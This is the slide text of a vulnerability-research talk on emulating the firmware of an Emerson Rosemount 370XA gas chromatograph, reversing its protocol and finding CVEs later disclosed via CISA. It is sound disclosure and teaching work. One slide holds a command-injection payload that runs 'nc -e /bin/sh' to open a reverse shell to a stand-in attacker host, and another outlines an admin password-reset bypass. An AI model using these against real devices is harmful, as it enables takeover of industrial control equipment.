
Vera Mens

How we hacked a $100K Gas 

Chromatograph without having it, 

and how you can do it too



whoami

Vera Mens  

○ Vulnerability Researcher at Claroty-TEAM82

○ Mostly embedded devices - OT, IOT

○ Pwn2Own participant



The background story





Gas Chromatography



Let’s start with the documentation



Rosemount 370XA Gas 

Chromatograph

The Device



The Client

MON2020

data

monitoring 

config



High level architecture

TCP 10000



Analyzing a proprietary protocol 



Optimal prerequisite for Protocol analysis:

○ Client Software

○ Device

○ Capability to view/modify the communication

○ Full cabinet of coffee capsules in the kitchen

TCP 10000



Let’s start with the client



We can start understand the protocol   

○ Explore the UI for general configuration 

capabilities

○ Use a “dummy server” to receive the first payload 

from the client

○ Explore the code for basic understanding of the 

protocol



Can we analyze the protocol by 

statically research the Client 

Software?



Theoretically, yes 



Practically, it will take ages. 

My boss will kill me



Where We Are



We don’t have the actual device, 

so we need to emulate it



Why don’t we have the actual device?



Device Emulation

WHAT



Get the Firmware

main website



fsck.cramfs

Extract the downloaded file



Find the binary to emulate

Until binary that binds to the port 10000 is found:

○ Go over all init files

○ For every candidate check the listen\bind imports



Find the binary to emulate



Can we analyze the protocol by 

statically research the extpd 

binary?



Theoretically, yes 



Device Emulation

HOW



Get the Architecture



QEMU - Install UbuntuPPC

qemu-system-ppc 

-L pc-bios 

-M mac99,via=pmu

-boot d 

-m 1024

-cdrom ./ubuntu-14.04.5-server-powerpc.iso

-hda ./ubuntu14.qcow2 

-nographic



QEMU - Run UbuntuPPC

qemu-system-ppc 

-L pc-bios 

-M mac99,via=pmu 

-boot c 

-prom-env "boot-device=hd:,\yaboot" 

-prom-env "boot-args=conf=hd:,\yaboot.conf" 

-m 1024 -hda ubuntu14.qcow2 

-net user,hostfwd=tcp::10022-:22,hostfwd=tcp::10000-:10000 

-net nic

-nographic 



QEMU - Run UbuntuPPC

qemu-system-ppc 

-L pc-bios 

-M mac99,via=pmu 

-boot c 

-prom-env "boot-device=hd:,\yaboot" 

-prom-env "boot-args=conf=hd:,\yaboot.conf" 

-m 1024 -hda ubuntu14.qcow2 

-net user,hostfwd=tcp::10022-:22,hostfwd=tcp::10000-:10000 

-net nic

-nographic 



UbuntuPPC on QEMU



Emulate the device

○ Copy the file firmware files to the ubuntu machine

user-virtual-machine :: ~ » scp -P 10022 rosemount_firmware.tar  

user@localhost:/home/user

○ Use chroot to change the root location of the system



MacOS 

x86-64 

[Host]

Ubuntu 

PowerPC 

[QEMU]

Ubuntu 

x86-64 

[VirtualBox]

Gas Chromatograph file system

PowerPC

[chroot]



Run the main application



Run the main application

Follow the init files and execute the “must have” (and 

only relevant) changes to the environment:

○ Create directories

○ Define environment variables

○ Mount partitions

○ ...



Run the executable...

user@ubuntu:~/rosemount/merged$ sudo mount -t proc /proc ./proc/

user@ubuntu:~/rosemount/merged$ sudo chroot . /bin/sh

~ # sh /etc/rc.sh 

~ # sh /firmware/etc/rc.local

~ # extpd 

annnnnnnnnnnnd

crash~ # extpd 

segmentation fault (core dumped)



Oh right, the m99 device came 

without the chromatograph 

hardware...



Lets Patch



RUN.

CRASH.

PATCH.

REPEAT.



Until...





TCP 10000

Where We Are



Another patch to disable 

encryption



Patch the client to disable encryption

39 20 00 04 li r9, 4

39 20 00 03 li r9, 3



Where We Are

TCP 10000



Analysing the protocol, please wait...

mon 2020 gif wireshark ida



Header

DATA

. . .

Depends on CMD Type

00 00 00 00 00 00 00 00 11 00 00 00 19 00 00 00

Sequence Number CMD Type Data Len



CMD Type Name CMD Type ID

MarkLogRecordAsRead 0xA

GetLogCreateProgress 0xB

CANCEL_LOG 0xC

XP_adduser 0xD

XP_deluser 0xE

XP_changeuser 0xF

XP_changepass 0x10

XP_changelevel 0x11

... ...

CMD Types



CMD Type Name CMD Type ID

MarkLogRecordAsRead 0xA

GetLogCreateProgress 0xB

CANCEL_LOG 0xC

XP_adduser 0xD

XP_deluser 0xE

XP_changeuser 0xF

XP_changepass 0x10

XP_changelevel 0x11

... ...

CMD Types



00 00 00 00 00 00 00 00 11 00 00 00 19 00 00 00

Header

56 65 72 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00

DATA - XP_changelevel [0x11]

Sequence Number CMD Type Data Len

Username Level





Is the protocol secure?

Let’s find out



Pre-Auth Remote Code Execution

CVE-2023-46687



Common Procedure

Go over all “command types” and look for:

Logical vulnerabilities

○ Path traversal

○ OS Command Injection

Memory vulnerabilities

○ Stack buffer overflow

○ Heap buffer overflow



“Forced Calibration” Command - 0x23



“Forced Calibration” Command - 0x23



Command Injection Pre-Requirements

○ The input is in whole or partially controlled by the 

client

○ Sanitization is poor or does not exist

gunzip -c INPUT_WE_CONTROLL > INPUT_WE_CONTROLL



Command Injection Pre-Requirements

✓ The input is in whole or partially controlled by the 

client

✓ Sanitization is poor or does not exist

gunzip -c A;nc -e /bin/sh OUR_MACHINE 1337; A > INPUT_WE_CONTROLL



Lets see it in action



Anything Else?



Back to the documentation



The administrator password can be reset, 

without the need for factory reset, by 

supplying a passphrase

The administrator username is 

known (Emerson) and cannot be 

modified

Back to the documentation



Back to the documentation

The administrator password can be reset, 

without the need for factory reset, by 

supplying a passphrase

The administrator username is 

known (Emerson) and cannot be 

modified



Authentication Bypass

CVE-2023-51761



What do we know?

○ The Administrator username - Emerson

○ There is a passphrase that can reset the 

Administrator password



Let’s see how the passphrase is 

validated



passphrase validation on the device



passphrase validation on the device



passphrase validation on the device



get_chal_key function



Authentication Bypass





Emerson Rosemount GC370XA - Vulnerability report

CISA Alert Code ICSA-24-030-01

Vulnerabilities:
○ CVE-2023-46687(CVSS 9.8) Pre-auth remote code execution

○ CVE-2023-51761(CVSS 8.3) Authentication Bypass

○ CVE-2023-43609(CVSS 6.9) Pre-auth denial of service

○ CVE-2023-49716(CVSS 6.9) Post-auth remote code execution



That’s it!

Have a question or want to reach out?

V3rochka

Want to read more like this? 

claroty.com/team82
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